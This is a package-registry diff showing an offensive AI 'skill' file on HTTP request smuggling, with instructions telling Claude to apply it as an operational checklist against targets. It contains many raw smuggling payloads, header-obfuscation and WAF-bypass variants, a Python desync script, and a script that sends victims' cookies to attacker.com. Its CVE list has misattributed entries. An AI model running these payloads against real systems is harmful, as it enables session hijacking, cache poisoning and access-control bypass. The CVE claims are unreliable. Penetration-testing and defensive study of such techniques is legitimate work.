@aegis-scan/skills 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. package/ATTRIBUTION.md +75 -0
  2. package/CHANGELOG.md +129 -0
  3. package/LICENSE +21 -0
  4. package/README.md +123 -0
  5. package/dist/bin.d.ts +3 -0
  6. package/dist/bin.d.ts.map +1 -0
  7. package/dist/bin.js +122 -0
  8. package/dist/bin.js.map +1 -0
  9. package/dist/commands/info.d.ts +5 -0
  10. package/dist/commands/info.d.ts.map +1 -0
  11. package/dist/commands/info.js +75 -0
  12. package/dist/commands/info.js.map +1 -0
  13. package/dist/commands/install.d.ts +7 -0
  14. package/dist/commands/install.d.ts.map +1 -0
  15. package/dist/commands/install.js +87 -0
  16. package/dist/commands/install.js.map +1 -0
  17. package/dist/commands/list.d.ts +7 -0
  18. package/dist/commands/list.d.ts.map +1 -0
  19. package/dist/commands/list.js +82 -0
  20. package/dist/commands/list.js.map +1 -0
  21. package/dist/index.d.ts +13 -0
  22. package/dist/index.d.ts.map +1 -0
  23. package/dist/index.js +13 -0
  24. package/dist/index.js.map +1 -0
  25. package/dist/skills-loader.d.ts +23 -0
  26. package/dist/skills-loader.d.ts.map +1 -0
  27. package/dist/skills-loader.js +213 -0
  28. package/dist/skills-loader.js.map +1 -0
  29. package/package.json +63 -0
  30. package/skills/defensive/README.md +9 -0
  31. package/skills/mitre-mapped/README.md +10 -0
  32. package/skills/offensive/snailsploit-fork/advanced-redteam/SKILL.md +148 -0
  33. package/skills/offensive/snailsploit-fork/ai-security/SKILL.md +592 -0
  34. package/skills/offensive/snailsploit-fork/basic-exploitation/SKILL.md +10783 -0
  35. package/skills/offensive/snailsploit-fork/bug-identification/SKILL.md +1256 -0
  36. package/skills/offensive/snailsploit-fork/crash-analysis/SKILL.md +12466 -0
  37. package/skills/offensive/snailsploit-fork/deserialization/SKILL.md +185 -0
  38. package/skills/offensive/snailsploit-fork/edr-evasion/SKILL.md +1806 -0
  39. package/skills/offensive/snailsploit-fork/exploit-dev-course/SKILL.md +428 -0
  40. package/skills/offensive/snailsploit-fork/exploit-development/SKILL.md +699 -0
  41. package/skills/offensive/snailsploit-fork/fast-checking/SKILL.md +487 -0
  42. package/skills/offensive/snailsploit-fork/file-upload/SKILL.md +822 -0
  43. package/skills/offensive/snailsploit-fork/fuzzing/SKILL.md +340 -0
  44. package/skills/offensive/snailsploit-fork/fuzzing-course/SKILL.md +2105 -0
  45. package/skills/offensive/snailsploit-fork/graphql/SKILL.md +209 -0
  46. package/skills/offensive/snailsploit-fork/idor/SKILL.md +608 -0
  47. package/skills/offensive/snailsploit-fork/initial-access/SKILL.md +1528 -0
  48. package/skills/offensive/snailsploit-fork/jwt/SKILL.md +276 -0
  49. package/skills/offensive/snailsploit-fork/keylogger-arch/SKILL.md +197 -0
  50. package/skills/offensive/snailsploit-fork/mitigations/SKILL.md +1351 -0
  51. package/skills/offensive/snailsploit-fork/oauth/SKILL.md +366 -0
  52. package/skills/offensive/snailsploit-fork/open-redirect/SKILL.md +487 -0
  53. package/skills/offensive/snailsploit-fork/osint/SKILL.md +399 -0
  54. package/skills/offensive/snailsploit-fork/osint-methodology/SKILL.md +434 -0
  55. package/skills/offensive/snailsploit-fork/parameter-pollution/SKILL.md +595 -0
  56. package/skills/offensive/snailsploit-fork/race-condition/SKILL.md +881 -0
  57. package/skills/offensive/snailsploit-fork/rce/SKILL.md +1069 -0
  58. package/skills/offensive/snailsploit-fork/request-smuggling/SKILL.md +773 -0
  59. package/skills/offensive/snailsploit-fork/shellcode/SKILL.md +477 -0
  60. package/skills/offensive/snailsploit-fork/sqli/SKILL.md +372 -0
  61. package/skills/offensive/snailsploit-fork/ssrf/SKILL.md +830 -0
  62. package/skills/offensive/snailsploit-fork/ssti/SKILL.md +349 -0
  63. package/skills/offensive/snailsploit-fork/vuln-classes/SKILL.md +1229 -0
  64. package/skills/offensive/snailsploit-fork/waf-bypass/SKILL.md +820 -0
  65. package/skills/offensive/snailsploit-fork/windows-boundaries/SKILL.md +15153 -0
  66. package/skills/offensive/snailsploit-fork/windows-mitigations/SKILL.md +14546 -0
  67. package/skills/offensive/snailsploit-fork/xss/SKILL.md +784 -0
  68. package/skills/offensive/snailsploit-fork/xxe/SKILL.md +996 -0
  69. package/skills/ops/README.md +6 -0
@@ -0,0 +1,773 @@
1
+ <!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # SKILL: HTTP Request Smuggling
4
+
5
+ ## Metadata
6
+ - **Skill Name**: request-smuggling
7
+ - **Folder**: offensive-request-smuggling
8
+ - **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/req-smuggle.md
9
+
10
+ ## Description
11
+ HTTP request smuggling checklist: CL.TE, TE.CL, TE.TE variants, detection with timing and differential responses, WAF bypass, cache poisoning, credential hijacking, and request smuggling via HTTP/2. Use when testing reverse proxy/load balancer configurations.
12
+
13
+ ## Trigger Phrases
14
+ Use this skill when the conversation involves any of:
15
+ `request smuggling, HTTP smuggling, CL.TE, TE.CL, TE.TE, HTTP/2 smuggling, cache poisoning, WAF bypass, differential response, smuggling detection, proxy desync`
16
+
17
+ ## Instructions for Claude
18
+
19
+ When this skill is active:
20
+ 1. Load and apply the full methodology below as your operational checklist
21
+ 2. Follow steps in order unless the user specifies otherwise
22
+ 3. For each technique, consider applicability to the current target/context
23
+ 4. Track which checklist items have been completed
24
+ 5. Suggest next steps based on findings
25
+
26
+ ---
27
+
28
+ ## Full Methodology
29
+
30
+ # HTTP Request Smuggling
31
+
32
+ ## Mechanisms
33
+
34
+ HTTP Request Smuggling is a vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently, leading to a desynchronization in the HTTP request processing chain. This desynchronization allows attackers to "smuggle" requests to the back-end server, potentially bypassing security controls or manipulating how other users' requests are processed.
35
+
36
+ ```mermaid
37
+ graph TD
38
+ A[Client] -->|HTTP Request| B[Front-end Server]
39
+ B -->|Interpreted Request| C[Back-end Server]
40
+ B -->|Different Interpretation| D[Desynchronization]
41
+ D -->|Smuggled Request| C
42
+ D -->|Security Bypass| E[Unauthorized Access]
43
+ D -->|Queue Poisoning| F[Response Hijacking]
44
+ ```
45
+
46
+ Request smuggling vulnerabilities arise from inconsistencies in how servers parse and interpret HTTP messages, particularly regarding:
47
+
48
+ - **Transfer-Encoding (TE) header**: Indicates chunked encoding
49
+ - **Content-Length (CL) header**: Specifies the length of the message body
50
+ - **Header parsing**: Different handling of whitespace, newlines, and malformed headers
51
+
52
+ Common desynchronization scenarios include:
53
+
54
+ - **CL.TE**: Front-end uses Content-Length, back-end uses Transfer-Encoding
55
+ - **TE.CL**: Front-end uses Transfer-Encoding, back-end uses Content-Length
56
+ - **TE.TE**: Both servers use Transfer-Encoding but handle edge cases differently
57
+
58
+ HTTP/2/3 specific desync variants:
59
+
60
+ - H2.CL / H2.TE: Conflicts between HTTP/2 body length signaling and HTTP/1 backends during downgrade.
61
+ - H2C Upgrade: Cleartext HTTP/2 (h2c) upgrade paths mishandled by intermediaries.
62
+ - Authority/Host Confusion: `:authority` vs `Host` normalization inconsistencies under CDNs.
63
+
64
+ ```mermaid
65
+ graph LR
66
+ subgraph "CL.TE Attack"
67
+ A1[Client] -->|"POST / HTTP/1.1<br>Content-Length: 30<br>Transfer-Encoding: chunked<br><br>0<br><br>GET /admin HTTP/1.1<br>X-Ignore:"| B1[Front-end]
68
+ B1 -->|"Uses Content-Length: 30<br>Sees one complete request"| C1[Back-end]
69
+ C1 -->|"Uses Transfer-Encoding<br>Sees two requests:<br>1. POST /<br>2. GET /admin"| D1[Smuggled Request Processed]
70
+ end
71
+ ```
72
+
73
+ Modern variations include:
74
+
75
+ - **H2.HTTP/1**: HTTP/2 to HTTP/1 downgrades causing inconsistencies
76
+ - **HTTP/1.H2**: HTTP/1 to HTTP/2 transitions with different interpretations
77
+ - **Timeout-based**: Exploiting time differences in connection handling
78
+ - **Method-based**: Different interpretations of HTTP methods
79
+ - **Header-based**: Inconsistent header parsing between servers
80
+
81
+ ## Hunt
82
+
83
+ ### Identifying Vulnerable Applications
84
+
85
+ #### Architecture Reconnaissance
86
+
87
+ - Look for multi-server architectures with proxies, load balancers, or CDNs
88
+ - Identify systems using Nginx, HAProxy, Varnish, or Amazon ALB/CloudFront
89
+ - Check for HTTP/2 support with HTTP/1 backend compatibility
90
+
91
+ #### Basic Detection Tests
92
+
93
+ 1. CL.TE Vulnerability Detection (Time Delay Example):
94
+
95
+ ```http
96
+ POST / HTTP/1.1
97
+ Host: vulnerable-website.com
98
+ Transfer-Encoding: chunked
99
+ Content-Length: 4
100
+
101
+ 1
102
+ A
103
+ X
104
+ ```
105
+
106
+ Send this request, then send a normal request. If the normal request experiences a time delay, CL.TE might be present.
107
+
108
+ 2. TE.CL Vulnerability Detection (Time Delay Example):
109
+
110
+ ```http
111
+ POST / HTTP/1.1
112
+ Host: vulnerable-website.com
113
+ Transfer-Encoding: chunked
114
+ Content-Length: 6
115
+
116
+ 0
117
+
118
+ X
119
+ ```
120
+
121
+ Send this request, then send a normal request. If the normal request experiences a time delay, TE.CL might be present.
122
+
123
+ 3. CL.TE Confirmation (Example):
124
+
125
+ ```http
126
+ POST / HTTP/1.1
127
+ Host: your-lab-id.web-security-academy.net
128
+ Connection: keep-alive
129
+ Content-Type: application/x-www-form-urlencoded
130
+ Content-Length: 6
131
+ Transfer-Encoding: chunked
132
+
133
+ 0
134
+
135
+ G
136
+ ```
137
+
138
+ Send twice. The second response should indicate an unrecognized method like `GPOST`.
139
+
140
+ 4. TE.CL Confirmation (Example):
141
+ (Ensure Burp's "Update Content-Length" is unchecked)
142
+
143
+ ```http
144
+ POST / HTTP/1.1
145
+ Host: your-lab-id.web-security-academy.net
146
+ Content-Type: application/x-www-form-urlencoded
147
+ Content-length: 4
148
+ Transfer-Encoding: chunked
149
+
150
+ 5c
151
+ GPOST / HTTP/1.1
152
+ Content-Type: application/x-www-form-urlencoded
153
+ Content-Length: 15
154
+
155
+ x=1
156
+ 0
157
+
158
+
159
+ ```
160
+
161
+ Send twice. The second request should show the effect of the smuggled `GPOST`.
162
+
163
+ 5. TE.TE Desync Detection (Obfuscation Example):
164
+ (Ensure Burp's "Update Content-Length" is unchecked)
165
+
166
+ ```http
167
+ POST / HTTP/1.1
168
+ Host: your-lab-id.web-security-academy.net
169
+ Content-Type: application/x-www-form-urlencoded
170
+ Content-length: 4
171
+ Transfer-Encoding: chunked
172
+ Transfer-encoding: cow
173
+
174
+ 5c
175
+ GPOST / HTTP/1.1
176
+ Content-Type: application/x-www-form-urlencoded
177
+ Content-Length: 15
178
+
179
+ x=1
180
+ 0
181
+
182
+
183
+ ```
184
+
185
+ Send twice. The second request should show the effect of the smuggled `GPOST`, confirming that one server ignored the obfuscated `Transfer-encoding: cow` header.
186
+
187
+ #### Advanced Detection Techniques
188
+
189
+ - **Differential Testing**: Observe response timing differences
190
+ - **Time Delays**: Add artificial delays between requests to detect queue interference
191
+ - **Obfuscation Testing**: Try various obfuscation techniques:
192
+ ```http
193
+ Transfer-Encoding: xchunked
194
+ Transfer-Encoding: chunked
195
+ Transfer-Encoding : chunked
196
+ Transfer-Encoding: chunked
197
+ Transfer-Encoding: identity, chunked
198
+ ```
199
+
200
+ - HTTP/2 Specific: Duplicate `content-length` headers, mixed/malformed pseudo-headers, abnormal stream resets, header/continuation frame splitting.
201
+
202
+ ### Testing Methodology
203
+
204
+ ```mermaid
205
+ flowchart TD
206
+ A[Initial Assessment] --> B{Vulnerability Detected?}
207
+ B -->|Yes| C[Confirmation Testing]
208
+ B -->|No| D[Try Advanced Techniques]
209
+ D --> B
210
+ C --> E{Confirmed?}
211
+ E -->|Yes| F[Targeted Testing]
212
+ E -->|No| D
213
+ F --> G[Documentation & Exploitation]
214
+
215
+ subgraph "Initial Assessment"
216
+ A1[Test CL.TE Payloads]
217
+ A2[Test TE.CL Payloads]
218
+ A3[Check Header Obfuscation]
219
+ end
220
+
221
+ subgraph "Confirmation Testing"
222
+ C1[Send Request with Clear Response]
223
+ C2[Test Queue Poisoning]
224
+ C3[Check Status Code Anomalies]
225
+ end
226
+
227
+ subgraph "Targeted Testing"
228
+ F1[Test HTTP/2 Downgrade]
229
+ F2[Check Header Oversizing]
230
+ F3[Test Method Handling]
231
+ end
232
+ ```
233
+
234
+ 1. **Initial Assessment**:
235
+ - Test standard CL.TE and TE.CL payloads
236
+ - Try header obfuscation techniques
237
+ - Check for timing inconsistencies
238
+
239
+ 2. **Confirmation Testing**:
240
+ - Send a smuggled request that should trigger a distinct response
241
+ - Test for request queue poisoning by affecting subsequent requests
242
+ - Look for response status code anomalies
243
+
244
+ 3. **Targeted Testing**:
245
+ - Test HTTP/2 downgrade scenarios
246
+ - Check for header oversizing vulnerabilities
247
+ - Test method-specific handling differences
248
+
249
+ ## Vulnerabilities
250
+
251
+ ### Common HTTP Request Smuggling Scenarios
252
+
253
+ ```mermaid
254
+ mindmap
255
+ root((HTTP Request Smuggling))
256
+ Security Control Bypass
257
+ WAF Bypass
258
+ Access Control Evasion
259
+ Authentication Bypass
260
+ Request/Response Queue Poisoning
261
+ Request Hijacking
262
+ Response Queue Poisoning
263
+ Cache Poisoning
264
+ Server-Specific Vulnerabilities
265
+ Nginx-Specific
266
+ Apache-Specific
267
+ NodeJS-Specific
268
+ Impact
269
+ Session Hijacking
270
+ Data Exposure
271
+ XSS Injection
272
+ Cache Poisoning
273
+ Network Scanning
274
+ Account Takeover
275
+ ```
276
+
277
+ #### Security Control Bypass
278
+
279
+ - Web Application Firewall (WAF) Bypass: Smuggling malicious content past WAF inspection
280
+ - Access Control Evasion: Accessing restricted resources by smuggling authorized-looking requests
281
+ - Authentication Bypass: Manipulating authentication flows through request smuggling
282
+
283
+ #### Request/Response Queue Poisoning
284
+
285
+ - Request Hijacking: Capturing parts of another user's request including cookies or authentication tokens
286
+ - Response Queue Poisoning: Causing wrong responses to be sent to users
287
+ - Cache Poisoning: Injecting malicious content into caches serving multiple users
288
+
289
+ #### Server-Specific Vulnerabilities
290
+
291
+ - Nginx-Specific: Inconsistent `Transfer-Encoding` handling with underscore prefixes
292
+ - Apache-Specific: Different chunked encoding parser behavior
293
+ - NodeJS-Specific: Unique header parsing behavior with multiple headers
294
+
295
+ ### Impact Examples
296
+
297
+ - Session Hijacking: Stealing user session cookies through request smuggling
298
+ - Sensitive Data Exposure: Smuggling requests to internal resources
299
+ - Cross-Site Scripting (XSS): Injecting malicious scripts into responses sent to other users
300
+ - HTTP Cache Poisoning: Poisoning cached responses viewed by multiple users
301
+ - Internal Network Scanning: Using request smuggling for SSRF-like network scanning
302
+ - Account Takeover: Smuggling requests to change user credentials
303
+
304
+ ## Methodologies
305
+
306
+ ### Tools
307
+
308
+ - Burp Suite Professional: HTTP Request Smuggler extension ([_PortSwigger BApp Store_](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646))
309
+ - smuggler.py: `python3 smuggler.py -u <URL>` ([_defparam/smuggler_](https://github.com/defparam/smuggler), [_anshumanpattnaik/http-request-smuggling_](https://github.com/anshumanpattnaik/http-request-smuggling))
310
+ - tiscripts: Collection of scripts including smuggling checks ([_defparam/tiscripts_](https://github.com/defparam/tiscripts))
311
+ - h2csmuggler: `go run ./cmd/h2csmuggler check https://target.com/ http://localhost` ([_assetnote/h2csmuggler_](https://github.com/assetnote/h2csmuggler), [_BishopFox/h2csmuggler_](https://github.com/BishopFox/h2csmuggler) for HTTP/2)
312
+ - Turbo Intruder: For advanced/customized request smuggling techniques in Burp Suite.
313
+ - Param Miner: For detecting hidden attack surfaces which might be vulnerable.
314
+ - h2spec / h3spec: Conformance testing for HTTP/2 and HTTP/3 implementations.
315
+
316
+ ### Testing Techniques
317
+
318
+ #### Basic Request Smuggling Test Patterns
319
+
320
+ 1. **CL.TE Pattern**:
321
+
322
+ ```http
323
+ POST / HTTP/1.1
324
+ Host: vulnerable-website.com
325
+ Content-Length: 39
326
+ Transfer-Encoding: chunked
327
+
328
+ 0
329
+
330
+ GET /admin HTTP/1.1
331
+ Host: vulnerable-website.com
332
+ ```
333
+
334
+ 2. **TE.CL Pattern**:
335
+
336
+ ```http
337
+ POST / HTTP/1.1
338
+ Host: vulnerable-website.com
339
+ Content-Length: 4
340
+ Transfer-Encoding: chunked
341
+
342
+ 5c
343
+ GPOST / HTTP/1.1
344
+ Content-Type: application/x-www-form-urlencoded
345
+ Content-Length: 15
346
+
347
+ x=1
348
+ 0
349
+
350
+ ```
351
+
352
+ 3. **HTTP/2 Downgrade Pattern**:
353
+
354
+ ```http
355
+ :method: POST
356
+ :path: /
357
+ :authority: vulnerable-website.com
358
+ content-length: 0
359
+ content-length: 44
360
+
361
+ GET /admin HTTP/1.1
362
+ Host: vulnerable-website.com
363
+ ```
364
+
365
+ 4. **H2C Upgrade Smuggling Pattern**:
366
+
367
+ ```
368
+ GET / HTTP/1.1
369
+ Host: vulnerable-website.com
370
+ Connection: Upgrade, HTTP2-Settings
371
+ Upgrade: h2c
372
+ HTTP2-Settings: AAMAAABkAAQAAP__
373
+
374
+ GET /admin HTTP/1.1
375
+ Host: vulnerable-website.com
376
+ ```
377
+
378
+ #### Advanced Exploitation Techniques
379
+
380
+ 1. **Request Hijacking**:
381
+
382
+ ```http
383
+ POST / HTTP/1.1
384
+ Host: vulnerable-website.com
385
+ Content-Length: 50
386
+ Transfer-Encoding: chunked
387
+
388
+ 0
389
+
390
+ GET / HTTP/1.1
391
+ Host: vulnerable-website.com
392
+ ```
393
+
394
+ 2. **Response Queue Poisoning**:
395
+
396
+ ```http
397
+ POST / HTTP/1.1
398
+ Host: vulnerable-website.com
399
+ Content-Length: 146
400
+ Transfer-Encoding: chunked
401
+
402
+ 0
403
+
404
+ HTTP/1.1 200 OK
405
+ Content-Type: text/html
406
+ Content-Length: 30
407
+
408
+ <html>Fake Response</html>
409
+ ```
410
+
411
+ 3. **WebSocket Hijacking**:
412
+
413
+ ```http
414
+ POST / HTTP/1.1
415
+ Host: vulnerable-website.com
416
+ Content-Length: 65
417
+ Transfer-Encoding: chunked
418
+
419
+ 0
420
+
421
+ GET /socket HTTP/1.1
422
+ Upgrade: websocket
423
+ Connection: Upgrade
424
+ ```
425
+
426
+ ### Defense Testing
427
+
428
+ 1. **Testing Patch Effectiveness**:
429
+ - Retest with various obfuscation techniques after patches
430
+ - Check for incomplete fixes or workarounds
431
+
432
+ 2. **Header Variations**:
433
+
434
+ ```
435
+ Transfer-Encoding: chunked
436
+ transfer-encoding: chunked
437
+ Transfer-Encoding:chunked
438
+ Transfer-Encoding: identity,chunked
439
+ Transfer-Encoding: identity, chunked
440
+ ```
441
+
442
+ 3. **Chunk Size Manipulation**:
443
+
444
+ ```
445
+ 1\r\n
446
+ A\r\n
447
+ 0\r\n
448
+ \r\n
449
+ ```
450
+
451
+ 4. **HTTP/2 Strictness Checks**:
452
+
453
+ - Ensure single, consistent body length signaling; reject duplicate/malformed pseudo-headers.
454
+ - Disable or tightly control h2c upgrades at edges.
455
+
456
+ ### Real-World Exploitation Workflow
457
+
458
+ ```mermaid
459
+ sequenceDiagram
460
+ participant A as Attacker
461
+ participant F as Front-end Server
462
+ participant B as Back-end Server
463
+ participant V as Victim
464
+
465
+ A->>F: 1. Send Smuggling Payload
466
+ F->>B: 2. First Request (Front-end interpretation)
467
+ Note over F,B: Desynchronization Occurs
468
+ A->>F: 3. Send Normal Request
469
+ F->>B: 4. Second Request gets appended to smuggled content
470
+ V->>F: 5. Victim sends innocent request
471
+ F->>B: 6. Victim's request gets processed with attacker's content
472
+ B->>F: 7. Modified response based on smuggled content
473
+ F->>V: 8. Victim receives unexpected/malicious response
474
+ ```
475
+
476
+ 1. **Identify Desync Vulnerability**:
477
+ - Test CL.TE, TE.CL, TE.TE patterns
478
+ - Confirm with time-delay observations
479
+
480
+ 2. **Establish Attack Vector**:
481
+ - Determine the most reliable desync method
482
+ - Identify the best obfuscation technique for the target
483
+
484
+ 3. **Craft Exploitation Payload**:
485
+ - Create a request that smuggles another request
486
+ - Target sensitive functionality or information disclosure
487
+
488
+ 4. **Execute and Validate**:
489
+ - Send the smuggled request
490
+ - Observe the effects on subsequent responses
491
+
492
+ 5. **Document Impact**:
493
+ - Demonstrate real security implications
494
+ - Show how the vulnerability could affect users
495
+
496
+ ### Modern Desync Variants
497
+
498
+ #### HTTP/3 Desync
499
+
500
+ HTTP/3 uses QUIC transport which introduces new desync opportunities when proxies translate between HTTP/3 and HTTP/1.1:
501
+
502
+ **HTTP/3 to HTTP/1.1 Translation:**
503
+
504
+ ```
505
+ # HTTP/3 request with duplicate headers
506
+ :method: POST
507
+ :path: /api/endpoint
508
+ :authority: target.com
509
+ content-length: 10
510
+ content-length: 50
511
+
512
+ # Backend may use different content-length value
513
+ ```
514
+
515
+ **Testing HTTP/3:**
516
+
517
+ ```bash
518
+ # Using curl with HTTP/3
519
+ curl --http3 https://target.com/endpoint -v
520
+
521
+ # Check Alt-Svc header indicating HTTP/3 support
522
+ curl -I https://target.com | grep -i alt-svc
523
+ ```
524
+
525
+ **QUIC Stream Manipulation:**
526
+
527
+ - Multiple streams in single connection may be processed inconsistently
528
+ - Stream resets can leave partial data in backend queues
529
+ - QPACK header compression differences between implementations
530
+
531
+ #### Client-Side Desync (CSD)
532
+
533
+ Client-side desync exploits browser behavior to poison the browser's own connection pool, affecting subsequent requests from the same client.
534
+
535
+ **Mechanism:**
536
+
537
+ 1. Attacker crafts response that browser caches
538
+ 2. Response includes smuggled request
539
+ 3. Next victim request gets poisoned response
540
+
541
+ **Example CSD Attack:**
542
+
543
+ ```http
544
+ POST / HTTP/1.1
545
+ Host: vulnerable.com
546
+ Content-Length: 150
547
+ Transfer-Encoding: chunked
548
+
549
+ 0
550
+
551
+ GET /admin HTTP/1.1
552
+ Host: vulnerable.com
553
+ Content-Length: 10
554
+
555
+ x=
556
+ GET /static/innocent.js HTTP/1.1
557
+ Host: vulnerable.com
558
+ ```
559
+
560
+ **Browser receives:**
561
+
562
+ ```http
563
+ HTTP/1.1 200 OK
564
+ Content-Length: 100
565
+
566
+ <script>
567
+ // Malicious JavaScript injected into cached response
568
+ document.location='http://attacker.com/steal?cookie='+document.cookie;
569
+ </script>
570
+ ```
571
+
572
+ **Testing for CSD:**
573
+
574
+ 1. Send smuggling payload
575
+ 2. Open same site in new tab
576
+ 3. Check if subsequent request receives smuggled response
577
+ 4. Look for `Age` or `X-Cache` headers indicating cache hit
578
+
579
+ **High-Value Targets:**
580
+
581
+ - JavaScript files (cached and executed)
582
+ - CSS files (for exfiltration via background-image)
583
+ - JSON API responses (manipulate application state)
584
+
585
+ #### WebSocket Desync
586
+
587
+ WebSocket upgrade process can be vulnerable to request smuggling:
588
+
589
+ **WebSocket Upgrade Smuggling:**
590
+
591
+ ```http
592
+ POST / HTTP/1.1
593
+ Host: vulnerable.com
594
+ Content-Length: 200
595
+ Transfer-Encoding: chunked
596
+
597
+ 0
598
+
599
+ GET /chat HTTP/1.1
600
+ Host: vulnerable.com
601
+ Upgrade: websocket
602
+ Connection: Upgrade
603
+ Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
604
+ Sec-WebSocket-Version: 13
605
+ Sec-WebSocket-Protocol: attacker-injection
606
+
607
+ ```
608
+
609
+ **Smuggling After WebSocket Establishment:**
610
+
611
+ ```http
612
+ # Send via established WebSocket connection
613
+ GET /admin HTTP/1.1
614
+ Host: vulnerable.com
615
+ Cookie: admin_session=stolen_token
616
+ ```
617
+
618
+ **WebSocket Frame Manipulation:**
619
+
620
+ - Inject malicious frames during upgrade
621
+ - Exploit frame fragmentation handling differences
622
+ - Target WebSocket proxies (nginx, HAProxy) that may parse differently
623
+
624
+ **Testing Steps:**
625
+
626
+ 1. Initiate WebSocket upgrade with smuggling payload
627
+ 2. Monitor if backend processes smuggled HTTP request
628
+ 3. Check WebSocket frames for injected content
629
+ 4. Test multiple simultaneous upgrade requests
630
+
631
+ #### Request Tunneling via CONNECT
632
+
633
+ CONNECT method can be abused for request smuggling:
634
+
635
+ ```http
636
+ CONNECT internal.service:80 HTTP/1.1
637
+ Host: vulnerable-proxy.com
638
+
639
+ GET /admin HTTP/1.1
640
+ Host: internal.service
641
+ Authorization: Bearer stolen_token
642
+ ```
643
+
644
+ **Testing:**
645
+
646
+ 1. Send CONNECT request to proxy
647
+ 2. Include smuggled request in CONNECT body
648
+ 3. Check if proxy forwards to internal service
649
+
650
+ #### Pause-Based Desync
651
+
652
+ Exploiting TCP flow control and timing:
653
+
654
+ ```python
655
+ import socket
656
+ import time
657
+
658
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
659
+ s.connect(('vulnerable.com', 80))
660
+
661
+ # Send headers slowly
662
+ s.send(b'POST / HTTP/1.1\r\n')
663
+ time.sleep(2)
664
+ s.send(b'Host: vulnerable.com\r\n')
665
+ time.sleep(2)
666
+ s.send(b'Content-Length: 50\r\n')
667
+ s.send(b'Transfer-Encoding: chunked\r\n\r\n')
668
+
669
+ # Send smuggled request
670
+ s.send(b'0\r\n\r\nGET /admin HTTP/1.1\r\n')
671
+ s.send(b'Host: vulnerable.com\r\n\r\n')
672
+ ```
673
+
674
+ #### Header Oversizing
675
+
676
+ Exploit differences in maximum header sizes:
677
+
678
+ ```http
679
+ POST / HTTP/1.1
680
+ Host: vulnerable.com
681
+ X-Padding: AAAA[... 8KB of data ...]
682
+ Content-Length: 100
683
+ Transfer-Encoding: chunked
684
+
685
+ 0
686
+
687
+ GET /admin HTTP/1.1
688
+ ```
689
+
690
+ If front-end accepts larger headers than backend, backend may miss headers after cutoff point.
691
+
692
+ ### Detection Bypass Techniques (Advanced)
693
+
694
+ **Header Name Obfuscation:**
695
+
696
+ ```http
697
+ Transfer-Encoding : chunked # Space before colon
698
+ Transfer-Encoding\t: chunked # Tab
699
+ Transfer\rEncoding: chunked # Carriage return
700
+ Transfer\x00Encoding: chunked # Null byte (rare)
701
+ Transfer\x0bEncoding: chunked # Vertical tab
702
+ ```
703
+
704
+ **Multiple Content-Length Variations:**
705
+
706
+ ```http
707
+ Content-Length: 10
708
+ Content-Length: 20
709
+ Content-length: 30 # Case variation
710
+ CONTENT-LENGTH: 40 # Uppercase
711
+ Content-Length : 50 # Space before colon
712
+ ```
713
+
714
+ **HTTP/2 Pseudo-Header Smuggling:**
715
+
716
+ ```http
717
+ :method: POST
718
+ :path: /
719
+ :authority: target.com
720
+ :method: GET # Duplicate pseudo-header
721
+ content-length: 0
722
+ content-length: 50 # Duplicate content-length
723
+ ```
724
+
725
+ **Transfer-Encoding Value Pollution:**
726
+
727
+ ```http
728
+ Transfer-Encoding: chunked, identity
729
+ Transfer-Encoding: identity, chunked
730
+ Transfer-Encoding: chunked;q=1
731
+ Transfer-Encoding: chunked\x20\x20
732
+ Transfer-Encoding: chunked\x0d\x0a
733
+ ```
734
+
735
+ ### Real-World CVEs
736
+
737
+ 1. **CVE-2023-45853 - MiniZinc HTTP Parser**:
738
+ - Request smuggling via Transfer-Encoding handling
739
+ - Impact: RCE via smuggled requests
740
+
741
+ 2. **CVE-2023-38545 - curl SOCKS5 Heap Overflow**:
742
+ - Related to connection reuse that could enable smuggling
743
+ - Impact: RCE in certain configurations
744
+
745
+ 3. **CVE-2022-31629 - PHP HTTP Response Splitting**:
746
+ - Response splitting enabling smuggling attacks
747
+ - Impact: XSS and cache poisoning
748
+
749
+ 4. **CVE-2021-41773 - Apache HTTP Server Path Traversal**:
750
+ - Could be chained with request smuggling
751
+ - Impact: RCE via CGI script access
752
+
753
+ 5. **CVE-2020-11724 - Varnish Cache HTTP/2 Desync**:
754
+ - HTTP/2 to HTTP/1.1 downgrade desync
755
+ - Impact: Cache poisoning and request smuggling
756
+
757
+ ## Remediation Recommendations
758
+
759
+ - **Consistent Request Parsing**: Ensure consistent parsing rules across all servers
760
+ - **HTTP/2 Isolation**: Avoid translating between HTTP/2 and HTTP/1.1 where possible
761
+ - **Header Validation**: Implement strict header validation
762
+ - **Connection Resets**: Reset connections after each request when possible
763
+ - **WAF Rules**: Configure WAF to detect request smuggling attempts
764
+ - **Content-Length Validation**: Ensure Content-Length matches actual content
765
+ - **Chunked Encoding Validation**: Implement proper chunked encoding parsing
766
+ - **Regular Security Testing**: Perform request smuggling-specific security tests
767
+ - **Unified Parser**: Use a single RFC-compliant parsing library across front/back tiers; normalize `Host`/`:authority`
768
+ - **Gateway Hardening**: Strip hop-by-hop/duplicate headers; disable TE other than `chunked`; enforce single message framing signal
769
+ - **HTTP/3 Controls**: Ensure QUIC implementation correctly handles stream management and header compression
770
+ - **WebSocket Security**: Validate WebSocket upgrade requests; sanitize Sec-WebSocket-\* headers; limit concurrent upgrades
771
+ - **Client-Side Desync Prevention**: Set `Connection: close` on sensitive responses; use HTTP/2 exclusively; implement strict cache controls
772
+ - **Monitoring**: Log anomalous header patterns; alert on multiple Content-Length or Transfer-Encoding headers; track connection reuse metrics
773
+